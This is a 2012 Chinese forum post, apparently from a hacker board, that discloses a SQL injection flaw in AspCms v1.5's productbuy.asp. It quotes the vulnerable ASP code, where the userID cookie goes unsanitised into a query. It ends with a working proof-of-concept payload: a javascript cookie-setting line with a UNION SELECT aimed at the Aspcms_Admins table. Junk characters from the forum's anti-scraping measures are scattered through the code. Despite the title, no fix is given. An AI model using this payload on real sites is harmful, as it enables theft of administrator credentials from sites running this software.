找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2182|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
! ]; @6 G. T, x! n也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。4 E( t) X* H/ R) r
废话不多说,看代码:
: _0 Y! `' j7 w& F% N  h5 V# F7 M' u& [" E  i
<%, t3 i2 d! T5 G4 @, ?* B

5 U1 `! d" U- K- Vif action = "buy" then
& I8 w# x4 M; B- |4 D* \6 n' g. Z/ v% F( q7 s
        addOrder()5 Z1 u' B* x. L! n, K
  S9 e, D7 Q: F. Q: ]- H
else
7 M, F. h1 F7 ?+ ]* w; O# h; J5 p; j. h6 v* }
        echoContent()
, P# X. C) t+ R3 w! o8 q, _
/ E! h2 t! G% n  r4 bend if
& b7 b! U5 g% Z7 d- A# w  H9 c1 V& T" j  }

2 B- q% K  l, j: s, h, y
! b5 ^  c! s! _3 ~8 z! h……略过) A7 ]7 i3 r2 C7 T( e; K" m' f
, i# Q" |% _1 i4 _6 v0 E
7 }- P  b2 C: k8 X6 c- o7 I
) b7 n5 L9 `# A0 Q4 A% q
Sub echoContent()% L' m0 d. T& g7 D3 R

) k* ^" A$ D; ^        dim id/ l6 E. ?0 w* g4 a5 P$ W) T  O
& G: R8 u9 F- \. H
        id=getForm("id","get")9 Z* ]* M/ F4 K0 g" p+ H

, l% L% ?, Y* t0 P# y+ u; ~$ y        9 k$ [( b" c& u: p' ^% K

. h3 y- E/ k5 i  o        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" ! g( l' B' O8 U
' Y1 S, Q: p7 y1 m  A
        
/ t  I# k; Q9 E9 [8 j# B) w' n* i% o$ u
6 e9 P- K4 J( E" v        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
" g1 }. P, E  s) _7 w' c4 z* [9 ^5 h, `8 _
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
6 X* J( g2 s  `/ z. ~6 A, `1 p' I
& a% s) O- D( f( q5 K        Dim templatePath,tempStr
. }! m- W$ j6 T' C. V2 j
  X% G& I) h- u8 d% `9 d# l4 j- r  f        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"/ W3 L$ z- I6 _% ]: |
2 n6 H/ u0 s8 E6 m. T
& \4 }4 x# N. f6 T) ?7 N

! g6 D6 L6 V3 G8 E6 W        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")/ Q5 G8 E' m* P
5 A' W1 V( F* ]! T" N  o: R
        selectproduct=rsObj(0)+ M4 E% ~, c4 I! z; Q: v, [
) b7 o; L: \" ]# B8 i- P( h
        ' M# C0 d4 t6 Q+ M$ X) T
/ ]8 [3 @2 \1 x: R, y
        Dim linkman,gender,phone,mobile,email,qq,address,postcode5 a! s3 G) Z' a$ J3 a7 @6 \) x
: ~! B/ B1 f( @$ p0 j$ H
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
9 R7 |" J  G$ k$ V9 B$ C( @' D  u& x% F. t$ \, N. M9 G# K
        if rCookie("loginstatus")=1 then  
2 z  t4 p  {' `/ l6 ]! b- G! L, y! Z1 |! Y0 j5 h
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
+ r" \7 J( o$ F1 N3 d8 p5 X' O. L  W: k9 c, N' C8 n, N
                linkman=rsObj("truename")& |/ T+ k0 H! M% i1 k
1 p+ N; A0 f" r, c
                gender=rsObj("gender")+ c/ w9 P7 Y: c! r4 o+ T& O
+ w6 a/ Y8 @" D! W
                phone=rsObj("phone")
$ r- `; @# ~& E  v6 ~  C
( P; @2 X6 q4 f! y1 y/ a                mobile=rsObj("mobile")+ \* z, v. d. n$ a+ z

$ n4 L! Z# ^1 f7 j1 M; w. H  V                email=rsObj("email")6 o, U. [. u$ Y% m# n) S% ^4 g5 q
1 R8 R+ Z! l* g' c4 j
                qq=rsObj("qq")
: q7 Z# i  ]2 D9 ^# `$ R1 A1 _9 P) Y# H7 o6 I
                address=rsObj("address")
8 J0 M7 S9 b8 P$ P4 L1 ^4 \4 a+ r( P% A
                postcode=rsObj("postcode")+ Y  m. {7 ]0 I5 D" J

* ?" O$ Q, b3 u/ h' B! L/ F3 W& ?        else
0 o% t5 O4 X+ L) [9 q9 `6 ^/ t* e
- r6 v+ ^( n  R+ h                gender=1  B* M  {( }& z/ H/ y

: `# A% M3 Z% ?$ R5 D& E        end if: u4 ]. @( H, Q, @+ D9 L
' Z) v4 `" f/ V8 G
        rsObj.close()9 N' _; W+ S3 F1 `  V

, o. u) @! t$ z. V& b                5 z  Z0 Y" y& W4 @! D$ Y6 G6 y

+ P. A1 D# ], ^2 f: x        with templateObj
7 r9 u" _  l' ~' b! V
- g+ I2 J5 v- s9 L0 x  R& t) M+ A                .content=loadFile(templatePath)        ! C3 y. |. K+ R4 M
0 i+ j+ e% F2 @' P3 b6 `
                .parseHtml()
* W: Y! O# v' s, y
/ ^: P+ Z3 r- B( H- q1 @( K                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)/ l! J+ k0 o$ j; k9 b2 Z  _: y/ @
: ?! u# H/ _7 \1 N1 s7 Y
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
6 {. {# l: A2 |$ o& O
4 X) J! ^( b) F3 s% D$ I2 n& k                .content=replaceStr(.content,"[aspcms:gender]",gender)               
# Q; B, G( I6 x1 |6 [- A- v# n. O' u7 Y% l* F
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
: c7 p! j" E* Y6 Z
/ B( e4 C/ t3 T+ }9 N( M                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                . M& _8 Z  N+ p& j/ B6 o* c

, n, V, Z3 K0 R0 H7 P7 s( D                .content=replaceStr(.content,"[aspcms:email]",email)                        
0 i4 g& u$ J# Q/ [4 ]* n$ r+ T' h" F) o, F0 x$ X
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
* j' n1 f2 e/ {. P; G- s' k9 _  O" A& Q2 r" ^7 T  l
                .content=replaceStr(.content,"[aspcms:address]",address)                        8 c3 S: F9 B9 F- @# u& h/ _" i
) S; c- l& F& O, ?$ \3 [$ E3 f) |
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
' s4 i. e/ ?1 I2 N# g; P0 O* r% ]. D, Y; Y. j
                .parseCommon()                 
0 \: E9 x% D& x& u1 ?$ O4 [2 n2 e7 y( v
                echo .content ' j. S1 i8 z. ^) q  z* b

2 M3 L+ M" t/ q2 L' u        end with9 l2 W6 w7 L4 v+ ^; i/ i. `+ _9 S" F1 X
% u7 ~9 j( P  y
        set templateobj =nothing : terminateAllObjects+ T' W, q3 F7 S& z5 {4 q
! ^+ `! N" C! O7 d
End Sub8 v, D$ ]) b* \$ D
漏洞很明显,没啥好说的' s! L5 M7 T" A2 O. r
poc:
+ m+ T( g$ _! Z$ Z; c+ A
# R' ~5 ?2 V8 h3 k7 w. W4 Ejavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​# v. Y; k! e6 G% ~: ]
+ R! _0 M4 l6 C& N8 B9 i* X. K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表